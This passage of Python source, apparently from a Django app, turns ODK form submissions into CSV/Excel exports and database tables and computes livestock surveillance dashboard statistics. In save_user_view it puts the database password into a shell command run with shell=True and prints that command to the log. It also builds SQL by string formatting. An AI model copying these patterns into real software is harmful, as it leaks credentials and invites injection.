len(form_metadata) != 0:\n            # we need to process the metadata, especially the csv files which have been added\n            self.process_form_metadata(form_metadata, form_id)\n        # sys.exit()\n        \n        return self.all_nodes, form_structure\n\n    def extract_repeating_groups(self, nodes, parent_id):\n        \"\"\"\n        Process a node and get the repeating groups\n        \"\"\"\n        cur_node = []\n        for node in nodes['children']:\n            if 'type' in node:\n                if 'label' in node:\n                    node_label = node['label']\n                else:\n                    terminal.tprint(\"\\t\\t%s missing label. Using name('%s') instead\" % (node['type'], node['name']), 'warn')\n                    node_label = node['name']\n\n                if node['type'] == 'repeat' or node['type'] == 'group':\n                    terminal.tprint(\"\\tProcessing %s\" % node_label, 'okblue')\n                    # only add a node when we are dealing with a repeat\n                    if node['type'] == 'repeat':\n                        self.cur_node_id += 1\n                        t_node = {'id': self.cur_node_id, 'parent_id': parent_id, 'type': node['type'], 'label': node_label, 'name': node['name'], 'items': []}\n                    else:\n                        t_node = None\n\n                    if 'children' in node:\n                        # terminal.tprint(\"\\t%s-%s has %d children\" % (node['type'], node_label, len(node['children'])), 'ok')\n                        self.repeat_level += 1\n                        # determine parent_id. If we are in a group, pass the current parent_id, else pass the cur_node_id\n                        t_parent_id = self.cur_node_id if node['type'] == 'repeat' else parent_id\n                        child_node = self.extract_repeating_groups(node, t_parent_id)\n\n                        if len(child_node) != 0:\n                            if t_node is None:\n                                # we have something to save yet it wasn't wrapped in a repeat initially\n                                # self.cur_node_id += 1\n                                # terminal.tprint(\"\\t%d:%s--%s\" % (self.cur_node_id, node['type'], json.dumps(child_node[0])), 'warn')\n                                t_node = child_node[0]\n                            else:\n                                t_node['items'].append(child_node[0])\n                    # else:\n                        # this node has no children. If its a top level node, include it in the top level page\n                    #    if self.repeat_level == 0:\n\n                    if t_node is not None and node['type'] == 'repeat':\n                        if 'items' in t_node and len(t_node['items']) == 0:\n                            del t_node['items']\n                        cur_node.append(t_node)\n                        # terminal.tprint(\"\\t%d:%s--%s\" % (self.cur_node_id, node['type'], json.dumps(t_node)), 'warn')\n                        self.add_to_all_nodes(t_node)\n                else:\n                    # before anything, add this node to the dictionary\n                    if node['type'] != 'calculate':\n                        self.add_dictionary_items(node, node['type'])\n\n                    # if self.repeat_level == 0:\n                    self.cur_node_id += 1\n                    # terminal.tprint(\"\\tAdding a top node child\", 'ok')\n                    t_node = {'id': self.cur_node_id, 'parent_id': parent_id, 'type': node['type'], 'label': node_label, 'name': node['name']}\n                    self.all_nodes.append(t_node)\n            else:\n                # we possibly have the options, so add them to the dictionary\n                self.add_dictionary_items(node, 'choice')\n\n        self.repeat_level -= 1\n        return cur_node\n\n    def process_form_metadata(self, metadata, form_id):\n        # loop through all the metadata and for each csv file, download it and then process it\n        try:\n            for form_md in metadata:\n                if form_md['data_file_type'] == 'text/csv':\n                    # download this guy\n                    url = \"%s/%s/%d.csv\" % (self.server, self.metadata_uri, form_md['id'])\n                    terminal.tprint(\"Fetching the csv file '%s'\" % form_md['data_value'], 'header')\n                    file_path = '%d_%s' % (form_md['id'], form_md['data_value'])\n                    self.fetch_form_metadata(url, {'path_to_save': file_path})\n                    \n                    # now lets process the downloaded file\n                    self.process_downloaded_file(file_path, form_id)\n\n                    # if no error, the file is processed, now we delete it\n                    os.remove(file_path)\n        except Exception:\n            sentry.captureException()\n\n    def add_dictionary_items(self, node, node_type):\n        # check if this key already exists\n        dict_item = DictionaryItems.objects.filter(form_id=self.cur_form_id, t_key=node['name'])\n\n        if dict_item.count() == 0:\n            try:\n                # terminal.tprint(json.dumps(node), 'warn')\n                node_label = node['label'] if 'label' in node else node['name']\n                dict_item = DictionaryItems(\n                    form_id=self.cur_form_id,\n                    t_key=node['name'],\n                    t_type=node_type,\n                    t_value=node_label\n                )\n                dict_item.publish()\n\n                if 'type' in node:\n                    if node['type'] == 'select one' or node['type'] == 'select all that apply':\n                        if 'children' in node:\n                            for child in node['children']:\n                                self.add_dictionary_items(child, 'choice')\n            except IntegrityError as e:\n                # We can live with this\n                terminal.tprint(str(e), 'okblue')\n            except Exception as e:\n                print((traceback.format_exc()))\n                logger.debug(str(e))\n                terminal.tprint(str(e), 'fail')\n                raise Exception(str(e))\n\n    def process_downloaded_file(self, input_file, form_id):\n        with open(input_file, 'rt') as in_file:\n            ptions_data = csv.DictReader(in_file, delimiter=',', quotechar='\"')\n            for row in ptions_data:\n                try:\n                    dict_item = DictionaryItems.objects.filter(form_id=form_id).filter(t_key=row['name'])\n                    if dict_item.count() == 1:\n                        # this options is already saved...\n                        continue\n                    dict_item = DictionaryItems(\n                        form_id=form_id,\n                        t_key=row['name'],\n                        t_type='choice',\n                        t_value=row['label']\n                    )\n                    dict_item.publish()\n                except IntegrityError as e:\n                    # We can live with this\n                    terminal.tprint(str(e), 'okblue')\n                except Exception as e:\n                    terminal.tprint(str(e), 'fail')\n                    raise\n\n    def add_to_all_nodes(self, t_node):\n        # add a node to the list of all nodes for creating the tree\n        if 'items' in t_node:\n            del t_node['items']\n\n        if 'label' in t_node:\n            if re.search(\":$\", t_node['label']) is not None:\n                # in case the label was ommitted, use the name tag\n                t_node['label'] = t_node['name']\n\n        self.all_nodes.append(t_node)\n\n    def delete_folder_contents(self, folder_path):\n        \"\"\"\n        Given a path to a folder, delete its contents\n        \"\"\"\n        for filename in os.listdir(folder_path):\n            if filename == '.' or filename == '..':\n                    continue\n            terminal.tprint(\"Deleting '%s'\" % folder_path + os.sep + filename, 'fail')\n            os.unlink(folder_path + os.sep + filename)\n\n    def save_user_view(self, form_id, view_name, nodes, all_submissions, structure):\n        \"\"\"\n        Given a view with a section of the user defined data, create a view of the selected nodes\n        \"\"\"\n        # get a proper view name\n        prop_view_name = self.formulate_view_name(view_name)\n\n        # save the submissions as an excel an then call a function to create the table(s)\n        # create a temp dir for this\n        if os.path.exists(prop_view_name):\n            self.delete_folder_contents(prop_view_name)\n        else:\n            # create the directory\n            terminal.tprint(\"Create the directory '%s'\" % prop_view_name, 'warn')\n            os.makedirs(prop_view_name)\n\n        writer = ExcelWriter(prop_view_name, 'csv', prop_view_name)\n        writer.create_workbook(all_submissions, structure)\n        terminal.tprint(\"\\tFinished creating the csv files\", 'warn')\n\n        # now we have all our selected submissions as csv files, so process them\n        import_command = \"csvsql --db 'postgresql:///%s?user=%s&password=%s' --encoding utf-8 --blanks --insert --tables %s %s\"\n        table_views = []\n        for filename in os.listdir(prop_view_name):\n            if filename == '.' or filename == '..':\n                continue\n\n            basename = os.path.splitext(filename)[0]\n            table_name = \"%s_%s\" % (prop_view_name, basename)\n            table_name_hash = hashlib.md5(table_name)\n            # terminal.tprint(\"Hashed the table name '%s'\" % table_name, 'warn')\n            table_name_hash_dig = \"v_%s\" % table_name_hash.hexdigest()\n            print (table_name_hash_dig)\n            terminal.tprint(\"Hashed the table name '%s' to '%s'\" % (table_name, table_name_hash_dig), 'warn')\n\n            filename = prop_view_name + os.sep + filename\n\n            terminal.tprint(\"\\tProcessing the file '%s' for saving to the database\" % filename, 'okblue')\n            if filename.endswith(\".csv\"):\n                cmd = import_command % (\n                    settings.DATABASES['default']['NAME'],\n                    settings.DATABASES['default']['USER'],\n                    settings.DATABASES['default']['PASSWORD'],\n                    table_name_hash_dig,\n                    filename,\n                )\n                terminal.tprint(\"\\tRunning the command '%s'\" % cmd, 'ok')\n                print((subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()))\n\n                # run commands to create primary key\n                try:\n                    with connection.cursor() as cursor:\n                        logging.debug(\"Adding a primary ket constraint for the table '%s'\" % table_name)\n                        query = \"alter table %s add primary key (%s)\" % (table_name_hash_dig, 'unique_id')\n                        cursor.execute(query)\n\n                        # if table name has a main on it, it must have a _uuid field which should be unique\n                        if re.search(\"main$\", table_name) is not None:\n                            # this is finicky, omit it for now\n                            terminal.tprint(\"Not adding a unique constraint for column '_uuid'\", 'fail')\n                            # logging.debug(\"Adding unique constraint '%s' for the table '%s'\" % ('_uuid', table_name))\n                            # uquery = \"alter table %s add constraint %s_%s unique (%s)\" % (table_name_hash_dig, table_name_hash_dig, 'uuid', '_uuid')\n                            # cursor.execute(uquery)\n                        else:\n                            # for the other tables, add an index to top_id\n                            logging.debug(\"Adding indexes to '%s' and '%s' for the table '%s'\" % ('top_id', 'parent_id', table_name))\n                            uquery = \"create index %s_%s on %s (%s)\" % (table_name_hash_dig, 'top_id', table_name_hash_dig, 'top_id')\n                            cursor.execute(uquery)\n                            uquery = \"create index %s_%s on %s (%s)\" % (table_name_hash_dig, 'parent_id', table_name_hash_dig, 'parent_id')\n                            cursor.execute(uquery)\n                except Exception as e:\n                    logging.error(\"For some reason can't create a primary key or unique key, raise an error and delete the view\")\n                    logging.error(str(e))\n                    with connection.cursor() as cursor:\n                        dquery = \"drop table %s\" % table_name_hash_dig\n                        cursor.execute(dquery)\n                    raise Exception(\"For some reason I can't create a primary key or unique key for the table %s. Deleting it entirely\" % table_name)\n\n                table_views.append({'table_name': table_name, 'hashed_name': table_name_hash_dig})\n\n        # clean up process\n        # delete the generated files\n        self.delete_folder_contents(prop_view_name)\n        os.rmdir(prop_view_name)\n\n        form_view = FormViews.objects.filter(view_name=view_name)\n        odk_form = ODKForm.objects.get(form_id=form_id)\n\n        if form_view.count() == 0:\n            # save the new view\n            form_view = FormViews(\n                form=odk_form,\n                view_name=view_name,\n                proper_view_name=prop_view_name,\n                structure=nodes\n            )\n            form_view.publish()\n\n            # save these submissions to the database\n            for submission in all_submissions:\n                new_submission = ViewsData(\n                    view=form_view,\n                    raw_data=submission\n                )\n                new_submission.publish()\n        else:\n            logger.error(\"Duplicate view name '%s'. Can't save.\" % view_name)\n            # raise Exception(\"Duplicate view name '%s'. Can't save.\" % view_name)\n            # return\n\n        # add the tables to the lookup table of views\n        for view in table_views:\n            cur_view = ViewTablesLookup(\n                view=form_view,\n                table_name=view['table_name'],\n                hashed_name=view['hashed_name']\n            )\n            cur_view.publish()\n\n    def formulate_view_name(self, view_name):\n        \"\"\"\n        Formulate a proper view name that will be used as the view name in the database\n        \"\"\"\n        # convert all to lowercase\n        view_name = view_name.lower()\n\n        # convert non alpha numeric characters to spaces\n        view_name = re.sub(r\"[^a-zA-Z0-9]+\", '_', view_name)\n        form_group = re.sub(r\"[^a-zA-Z0-9]+\", '_', self.form_group)\n\n        # create a unique view name\n        view_name = \"%s_%s\" % (form_group, view_name)\n        return view_name\n\n    def formulate_db_name(self, form_name):\n        # convert all to lowercase\n        db_name = form_name.lower()\n        db_name = db_name.replace('.', '_')\n        return db_name\n\n    def fetch_merge_data(self, form_id, nodes, d_format, download_type, view_name):\n        \"\"\"\n        Given a form id and nodes of interest, get data from all associated forms\n        \"\"\"\n\n        # get the form metadata\n        settings = ConfigParser()\n        settings.read(self.forms_settings)\n\n        associated_forms = []\n        try:\n            # get all the form ids belonging to the same group\n            self.form_group = settings.get('id_' + str(form_id), 'form_group')\n            for section in settings.sections():\n                this_group = settings.get(section, 'form_group')\n                if this_group == self.form_group:\n                    m = re.findall(\"/?id_(\\d+)$\", section)\n                    associated_forms.append(m[0])\n                else:\n                    # form_group section doesn't exist, so skip this\n                    logger.info(\"Not interested in this form (%s), so skip it\" % this_group)\n                    continue\n            form_name = settings.get(self.form_group, 'name')\n        except Exception as e:\n            # terminal.tprint(\"We didn't find the form with id %s. This functionality will be deprecated... Falling to default methods\" % str(form_id), 'fail')\n            # print(traceback.format_exc())\n            # there is an error getting the associated forms, so get data from just one form\n            # terminal.tprint(str(e), 'fail')\n            associated_forms.append(form_id)\n            form_name = \"Form%s\" % str(form_id)\n\n        # having all the associated form ids, fetch the required data\n        all_submissions = []\n\n        # since we shall be merging similar forms as one, declare the indexes here\n        self.cur_node_id = 0\n        self.indexes = {}\n        self.sections_of_interest = {}\n        self.output_structure = {'main': ['unique_id']}\n        self.indexes['main'] = 1\n\n        for form_id in associated_forms:\n            this_submissions = self.get_form_submissions_as_json(int(form_id), nodes)\n\n            if this_submissions is None:\n                continue\n            else:\n                if(isinstance(this_submissions, list)):\n                    all_submissions = copy.deepcopy(all_submissions) + copy.deepcopy(this_submissions)\n\n        if len(all_submissions) == 0:\n            terminal.tprint(\"The form (%s) has no submissions for download\" % str(form_name), 'fail')\n            logging.debug(\"The form (%s) has no submissions for download\" % str(form_name))\n            return {'is_downloadable': False, 'error': False, 'message': \"The form (%s) has no submissions for download\" % str(form_name)}\n\n        # check if there is need to create a database view of this data\n        if download_type == 'download_save':\n            try:\n                self.save_user_view(form_id, view_name, nodes, all_submissions, self.output_structure)\n            except Exception as e:\n                return {'is_downloadable': False, 'error': True, 'message': str(e)}\n        elif download_type == 'submissions':\n            return all_submissions\n\n        # now we have all the submissions, create the Excel sheet\n        now = datetime.now().strftime('%Y%m%d_%H%M%S')\n        if d_format == 'xlsx':\n            # now lets save the data to an excel file\n            output_name = './' + form_name + '_' + now + '.xlsx'\n            self.save_submissions_as_excel(all_submissions, self.output_structure, output_name)\n            return {'is_downloadable': True, 'filename': output_name}\n\n    def save_submissions_as_excel(self, submissions, structure, filename):\n        writer = ExcelWriter(filename)\n        writer.create_workbook(submissions, structure)\n\n    def get_form_submissions_as_json(self, form_id, screen_nodes):\n        # given a form id get the form submissions\n        # if the screen_nodes is given, process and return only the subset of data in those forms\n\n        submissions_list = self.get_all_submissions(form_id)\n\n        if submissions_list is None or submissions_list.count() == 0:\n            terminal.tprint(\"The form with id '%s' has no submissions returning as such\" % str(form_id), 'fail')\n            return None\n\n        # get the form metadata\n        settings = ConfigParser()\n        settings.read(self.forms_settings)\n\n        try:\n            # get the fields to include as part of the form metadata\n            form_meta = settings.get('id_' + str(form_id), 'metadata').split(',')\n            self.pk_name = settings.get('id_' + str(form_id), 'pk_name')\n            self.sk_format = settings.get('id_' + str(form_id), 'sk_name')\n        except Exception:\n            # terminal.tprint(\"Form settings haven't been defined - %s\" % str(e), 'fail')\n            # logger.info(\"The settings for the form id (%s) haven't been defined\" % str(form_id))\n            # logger.debug(e)\n            form_meta = []\n            self.pk_name = 'hh_id'\n\n        if screen_nodes is not None:\n            screen_nodes.extend(form_meta)\n            screen_nodes.append('unique_id')\n        # terminal.tprint(json.dumps(screen_nodes), 'warn')\n\n        submissions = []\n        for data in submissions_list:\n            # data, csv_files = self.post_data_processing(data)\n            pk_key = self.pk_name + str(self.indexes['main'])\n            data = data['raw_data']\n            data['unique_id'] = pk_key\n            data = self.process_node(data, 'main', screen_nodes, False)\n\n            submissions.append(data)\n            self.indexes['main'] += 1\n\n        return submissions\n\n    def process_node(self, node, sheet_name, nodes_of_interest=None, add_top_id=True):\n        # the sheet_name is the name of the sheet where the current data will be saved\n        cur_node = {}\n\n        for key, value in list(node.items()):\n            # clean the key\n            clean_key = self.clean_json_key(key)\n            if clean_key == '_geolocation':\n                continue\n\n            # terminal.tprint(\"\\t\"+clean_key, 'okblue')\n            if nodes_of_interest is not None:\n                if clean_key not in nodes_of_interest:\n                    continue\n\n            # add this key to the sheet name\n            if clean_key not in self.output_structure[sheet_name]:\n                self.output_structure[sheet_name].append(clean_key)\n\n            if clean_key in self.country_qsts:\n                value = self.get_clean_country_code(value)\n\n            is_json = True\n            val_type = self.determine_type(value)\n\n            if val_type == 'is_list':\n                value = self.process_list(value, clean_key, node['unique_id'])\n                is_json = False\n            elif val_type == 'is_json':\n                is_json = True\n            elif val_type == 'is_zero':\n                is_json = False\n                value = 0\n            elif val_type == 'is_none':\n                # terminal.tprint(key, 'warn')\n                is_json = False\n                value = 'N/A'\n            else:\n                is_json = False\n\n            if is_json is True:\n                node_value = self.process_node(value, clean_key, nodes_of_interest)\n                cur_node[clean_key] = node_value\n            else:\n                node_value = value\n                cur_node[clean_key] = value\n\n            \"\"\"\n            if nodes_of_interest is not None:\n                # at this point, we have our data, no need to check if we have the right key\n                terminal.tprint(\"\\tAdding the processed node (%s)\" % clean_key, 'ok')\n                if clean_key not in self.sections_of_interest:\n                    self.sections_of_interest[clean_key] = []\n\n                if isinstance(node_value, list):\n                    for node_item in node_value:\n                        self.sections_of_interest[clean_key].append(node_item)\n                else:\n                    self.sections_of_interest[clean_key].append(node_value)\n            \"\"\"\n            if add_top_id is True:\n                cur_node['top_id'] = self.pk_name + str(self.indexes['main'])\n\n        return cur_node\n\n    def determine_type(self, input):\n        \"\"\"\n        determine the input from the user\n\n        @todo, rely on the xls form to get the input type\n        \"\"\"\n        try:\n            float(input) + 2\n        except Exception:\n            if isinstance(input, list) is True:\n                return 'is_list'\n            elif input is None:\n                return 'is_none'\n            elif isinstance(input, dict) is True:\n                return 'is_json'\n            elif input == '0E-10':\n                return 'is_zero'\n            else:\n                try:\n                    json.loads(input)\n                except ValueError:\n                    if isinstance(input, str) is True:\n                        return 'is_string'\n\n                    # terminal.tprint(str(input), 'fail')\n                    return 'is_none'\n                except Exception:\n                    # try encoding the input as string\n                    try:\n                        json.loads(str(input))\n                    except ValueError:\n                        return 'is_json'\n                    except Exception:\n                        # terminal.tprint(json.dumps(input), 'fail')\n                        return 'is_none'\n                    return 'is_json'\n                return 'is_json'\n\n        return 'is_int'\n\n    def process_list(self, list, sheet_name, parent_key):\n        # at times the input is a string and not necessary a json object\n\n        # the sheet name is where to put this subset of data\n        if sheet_name not in self.output_structure:\n            self.output_structure[sheet_name] = ['unique_id', 'top_id', 'parent_id']\n            self.indexes[sheet_name] = 1\n\n        cur_list = []\n        for node in list:\n            val_type = self.determine_type(node)\n            node['unique_id'] = sheet_name + '_' + str(self.indexes[sheet_name])\n\n            if val_type == 'is_json':\n                processed_node = self.process_node(node, sheet_name)\n                processed_node['parent_id'] = parent_key\n                cur_list.append(processed_node)\n            elif val_type == 'is_list':\n                processed_node = self.process_list(node, sheet_name, node['unique_id'])\n                cur_list.append(processed_node)\n            else:\n                cur_list.append(node)\n\n            self.indexes[sheet_name] += 1\n\n        return cur_list\n\n    def post_data_processing(self, data, csv_files):\n        new_data = {}\n        for key, node in list(data.items()):\n            if isinstance(node, list) is True:\n                if key not in csv_files:\n                    csv_files[key] = []\n\n        return (new_data, csv_files)\n\n    def clean_json_key(self, j_key):\n        # given a key from ona with data, get the sane(last) part of the key\n        m = re.findall(\"/?(\\w+)$\", j_key)\n        return m[0]\n\n    def get_clean_country_code(self, code):\n        if self.clean_country_codes is None:\n            terminal.tprint('Adding the list of country codes', 'okblue')\n            self.clean_country_codes = {}\n\n            try:\n                # get the country codes to clean\n                settings = ConfigParser()\n                settings.read(self.forms_settings)\n                country_codes = settings.items('countries')\n                for country, c_code in country_codes:\n                    if re.search(\",\", c_code) is not None:\n                        c_code = c_code.split(',')\n                        for t_code in c_code:\n                            self.clean_country_codes[t_code] = country\n                    else:\n                        self.clean_country_codes[c_code] = country\n\n            except Exception as e:\n                terminal.tprint(str(e), 'fail')\n                return code\n\n        # it seems we have our countries processed, just get the clean code\n        try:\n            if code in self.clean_country_codes:\n                return self.clean_country_codes[code]\n            else:\n                for c_code, country in list(self.clean_country_codes.items()):\n                    if re.search(c_code, code, re.IGNORECASE) is not None:\n                        return country\n\n                # if we are still here, the code wasnt found\n                terminal.tprint(\"Couldn't find (%s) in the settings\" % code, 'fail')\n                # terminal.tprint(c_code + '--' + country, 'okblue')\n                print((self.clean_country_codes))\n                print('')\n                return code\n        except Exception as e:\n            terminal.tprint(str(e), 'fail')\n            return code\n\n    def process_single_submission(self, node, watch_list):\n        # given a node full of submission and a watchlist,\n        # retrieve the datasets whose key is in the watchlist\n        return node\n\n    def process_curl_request(self, url):\n        \"\"\"\n        Create and execute a curl request\n\n        @todo deprecated since it the function has been moved to onadata class\n        \"\"\"\n        headers = {'Authorization': \"Token %s\" % self.api_token}\n        # terminal.tprint(\"Processing API request %s\" % url, 'okblue')\n        try:\n            r = requests.get(url, headers=headers)\n        except Exception as e:\n            logger.error(traceback.format_exc())\n            logger.info(str(e))\n            return None\n\n        if r.status_code == 200:\n            # print(r)\n            # terminal.tprint(\"Response %d\" % r.status_code, 'ok')\n            # terminal.tprint(json.dumps(r.json()), 'warn')\n            return r.json()\n        else:\n            terminal.tprint(\"Response %d\" % r.status_code, 'fail')\n            terminal.tprint(r.text, 'fail')\n            # terminal.tprint(url, 'warn')\n\n            return None\n\n    def fetch_form_metadata(self, url, download_properties):\n        # stream the download and save the file to the specified place\n        try:\n            headers = {'Authorization': \"Token %s\" % self.api_token}\n            r = requests.get(url, headers=headers, stream=True)\n\n            if r.status_code == 200:\n                # print(r.content)\n                f = open(download_properties['path_to_save'], 'wt')\n                f.write(r.content.decode('utf-8'))\n            else:\n                terminal.tprint(\"Response %d\" % r.status_code, 'fail')\n                raise SuspiciousOperation('File download failed with the status code %d' % r.status_code)\n        except Exception:\n            sentry.captureException()\n            raise\n\n    def get_views_info(self):\n        form_views = FormViews.objects.all()\n\n        all_data = {'views': []}\n        for form_view in form_views:\n            views_sub_table = ViewTablesLookup.objects.filter(view_id=form_view.id)\n            view_date = form_view.date_created.strftime(\"%Y-%m-%d\")\n            all_data['views'].append({\n                'view_id': form_view.id,\n                'view_name': form_view.view_name,\n                'date_created': view_date,\n                'no_sub_tables': views_sub_table.count(),\n                'auto_process': 'Yes'\n            })\n        return all_data\n\n    def delete_view(self, request):\n        view = json.loads(request.POST['view'])\n        view_id = int(view['view_id'])\n        try:\n            # first delete the records in the views_table\n            view_tables = ViewTablesLookup.objects.filter(view_id=view_id)\n            for fview in view_tables:\n                # delete the table\n                logging.error(\"Drop the table '%s' in the view '%s'\" % (fview.hashed_name, view['view_id']))\n                with connection.cursor() as cursor:\n                    # delete the actual view itself\n                    dquery = \"drop table %s\" % fview.hashed_name\n                    cursor.execute(dquery)\n                # now delete the record\n                fview.delete()\n\n            # delete the view record in the database\n            ViewsData.objects.filter(view_id=view_id).delete()\n            FormViews.objects.filter(id=view_id).delete()\n            return {'error': False, 'message': 'View deleted successfully'}\n        except Exception as e:\n            logger.error(traceback.format_exc())\n            logger.info(str(e))\n            return {'error': True, 'message': str(e)}\n\n    def edit_view(self, request):\n        try:\n            view = json.loads(request.POST['view'])\n            # delete the actual view itself\n            form_view = FormViews.objects.get(id=view['view_id'])\n            form_view.view_name = view['view_name']\n            # form_view.auto_process = view['auto_process']\n            form_view.publish()\n\n            return {'error': False, 'message': 'View edited successfully'}\n        except Exception as e:\n            logger.error(traceback.format_exc())\n            logger.info(str(e))\n            return {'error': True, 'message': str(e)}\n\n    def system_stats(self):\n        \"\"\"\n        Gets the system statistics\n        \"\"\"\n        with connection.cursor() as cursor:\n            cursor.execute(\"select count(id) from syndromic_incidences as a\")\n            data_count = cursor.fetchall()\n\n            locations_q = \"\"\"\n                SELECT round(latitude, 2) as lat, round(longitude, 2) as lng, count(*) as count\n                FROM syndromic_incidences\n                GROUP BY round(latitude, 2), round(longitude, 2)\n            \"\"\"\n            cursor.execute(locations_q)\n            locations = cursor.fetchall()\n\n            incidences_last_week_q = \"\"\"\n                SELECT count(*) as ct\n                FROM syndromic_incidences\n                WHERE EXTRACT(DAY FROM (now() - datetime_reported)) > 7 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n            \"\"\" % self.period_days\n            cursor.execute(incidences_last_week_q)\n            incidences_last_week = cursor.fetchall()\n\n            incidences_this_week_q = \"\"\"\n                SELECT count(*) as ct\n                FROM syndromic_incidences\n                WHERE EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n            \"\"\" % self.period_days\n            cursor.execute(incidences_this_week_q)\n            incidences_this_week = cursor.fetchall()\n\n            affected_species_this_week_q = \"\"\"\n                SELECT count(*) as ct, b.species\n                FROM syndromic_incidences as a\n                INNER JOIN syndromic_details as b on b.incidence_id = a.id\n                WHERE a.no_cases > 0 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n                GROUP BY b.species\n            \"\"\" % self.period_days\n            cursor.execute(affected_species_this_week_q)\n            affected_species_this_week = cursor.fetchall()\n\n            affected_species_last_week_q = \"\"\"\n                SELECT count(*) as ct, b.species\n                FROM syndromic_incidences as a\n                INNER JOIN syndromic_details as b on b.incidence_id = a.id\n                WHERE a.no_cases > 0 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n                GROUP BY b.species\n            \"\"\" % self.period_days\n            cursor.execute(affected_species_last_week_q)\n            affected_species_last_week = cursor.fetchall()\n\n            affected_subcounties_last_week_q = \"\"\"\n                SELECT count(*) as ct, sub_county\n                FROM syndromic_incidences\n                WHERE no_cases > 0 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n                GROUP BY sub_county\n            \"\"\" % self.period_days\n            cursor.execute(affected_subcounties_last_week_q)\n            affected_subcounties_last_week = cursor.fetchall()\n\n            affected_subcounties_this_week_q = \"\"\"\n                SELECT count(*) as ct, sub_county\n                FROM syndromic_incidences\n                WHERE no_cases > 0 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n                GROUP BY sub_county\n            \"\"\" % self.period_days\n            cursor.execute(affected_subcounties_this_week_q)\n            affected_subcounties_this_week = cursor.fetchall()\n\n            reporting_vets_last_week_q = \"\"\"\n                SELECT count(*) as ct, reporter\n                FROM syndromic_incidences\n                WHERE no_cases > 0 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n                GROUP BY reporter\n            \"\"\" % self.period_days\n            cursor.execute(reporting_vets_last_week_q)\n            reporting_vets_last_week = cursor.fetchall()\n\n            reporting_vets_this_week_q = \"\"\"\n                SELECT count(*) as ct, reporter\n                FROM syndromic_incidences\n                WHERE no_cases > 0 AND EXTRACT(DAY FROM (now() - datetime_reported)) < %d\n                GROUP BY reporter\n            \"\"\" % self.period_days\n            cursor.execute(reporting_vets_this_week_q)\n            reporting_vets_this_week = cursor.fetchall()\n\n        # terminal.tprint('Incidences', 'fail')\n        inc_this_week = self.proccess_submissions_count([[len(incidences_this_week)]])\n        inc_last_week = self.proccess_submissions_count([[len(incidences_last_week)]])\n        inc_change = \"{0:0.1f}\".format((((inc_this_week - inc_last_week) / inc_last_week)) * 100)\n        inc_change_class = 'fa-level-up' if float(inc_change) > 0.0 else 'fa-level-down'\n        # terminal.tprint(inc_change, 'ok')\n\n        # terminal.tprint('Species', 'fail')\n        species_this_week = self.proccess_submissions_count(affected_species_this_week)\n        species_last_week = self.proccess_submissions_count(affected_species_last_week)\n        species_change = \"{0:0.1f}\".format((((species_this_week - species_last_week) / species_last_week)) * 100)\n        species_change_class = 'fa-level-up' if float(species_change) > 0 else 'fa-level-down'\n        # terminal.tprint(species_change, 'ok')\n\n        # terminal.tprint('Sub Counties', 'fail')\n        subcounties_this_week = self.proccess_submissions_count(affected_subcounties_this_week)\n        subcounties_last_week = self.proccess_submissions_count(affected_subcounties_last_week)\n        subcounties_change = \"{0:0.1f}\".format((((subcounties_this_week - subcounties_last_week) / subcounties_last_week)) * 100)\n        subcounties_change_class = 'fa-level-up' if float(subcounties_change) > 0 else 'fa-level-down'\n        # terminal.tprint(subcounties_change, 'ok')\n\n        # terminal.tprint('Vets', 'fail')\n        vets_this_week = self.proccess_submissions_count(reporting_vets_this_week)\n        vets_last_week = self.proccess_submissions_count(reporting_vets_last_week)\n        vets_change = \"{0:0.1f}\".format((((vets_this_week - vets_last_week) / vets_last_week)) * 100)\n        vets_change_class = 'fa-level-up' if float(vets_change) > 0 else 'fa-level-down'\n        # terminal.tprint(vets_change, 'ok')\n\n        all_incidences = {}\n        all_incidences['cattle'] = self.get_livestock_incidences('cattle')\n        all_incidences['sheep'] = self.get_livestock_incidences('sheep')\n        all_incidences['goats'] = self.get_livestock_incidences('goats')\n        all_incidences['camels'] = self.get_livestock_incidences('camels')\n\n        incidences = {\n            'count': \"{0:0.0f}\".format(inc_this_week),\n            'last_week_change': inc_change,\n            'last_week_change_class': inc_change_class,\n            'species_count': \"{0:0.0f}\".format(species_this_week),\n            'last_week_species_change': species_change,\n            'last_week_species_change_class': species_change_class,\n            'sub_counties_count': \"{0:0.0f}\".format(subcounties_this_week),\n            'last_week_subcounties_change': subcounties_change,\n            'last_week_subcounties_change_class': subcounties_change_class,\n            'vets_reporting': \"{0:0.0f}\".format(vets_this_week),\n            'last_week_vet_change': vets_change,\n            'last_week_vet_change_class': vets_change_class\n        }\n        all_locations = []\n        if len(locations) != 0:\n            center = {'lat': \"{0:0.2f}\".format(locations[0][0]), 'lng': \"{0:0.2f}\".format(locations[0][1])}\n        else:\n            center = {'lat': \"3.040\", 'lng': \"35.567\"}\n\n        for loc in locations:\n            all_locations.append({'lat': \"{0:0.2f}\".format(loc[0]), 'lng': \"{0:0.2f}\".format(loc[1]), 'count': int(loc[2])})\n\n        to_return = {\n            'data_count': int(data_count[0][0]),\n            'locations': all_locations,\n            'center_point': center,\n            'incidences': incidences,\n            'all_incidences': all_incidences,\n            'week_syndromes': self.get_syndromes_freq(7),\n            'month_syndromes': self.get_syndromes_freq(31),\n            'last_week': self.last_week_stats(),\n            'sc': self.last_week_sc_reports()[0]\n        }\n        return to_return\n\n    def last_week_stats(self):\n        # get the stats based on the last 7 days reports\n        with connection.cursor() as cursor:\n            cursor.execute(\"SELECT count(*) as ct FROM raw_submissions WHERE EXTRACT(DAY FROM (now() - date_created)) < %d\" % self.period_days)\n            submissions = cursor.fetchall()\n\n            cursor.execute(\"SELECT count(*) as ct FROM syndromic_incidences as a inner join syndromic_details as b on b.incidence_id = a.id WHERE EXTRACT(DAY FROM (now() - datetime_reported)) < %d\" % self.period_days)\n            incidences = cursor.fetchall()\n\n            cursor.execute(\"SELECT count(sub_county) as ct FROM syndromic_incidences WHERE EXTRACT(DAY FROM (now() - date_created)) < %d GROUP BY sub_county\" % self.period_days)\n            sub_county = cursor.fetchall()\n\n            cursor.execute(\"SELECT count(reporter) as ct FROM syndromic_incidences WHERE EXTRACT(DAY FROM (now() - date_created)) < %d group by reporter\" % self.period_days)\n            cdrs = cursor.fetchall()\n\n        last_week = 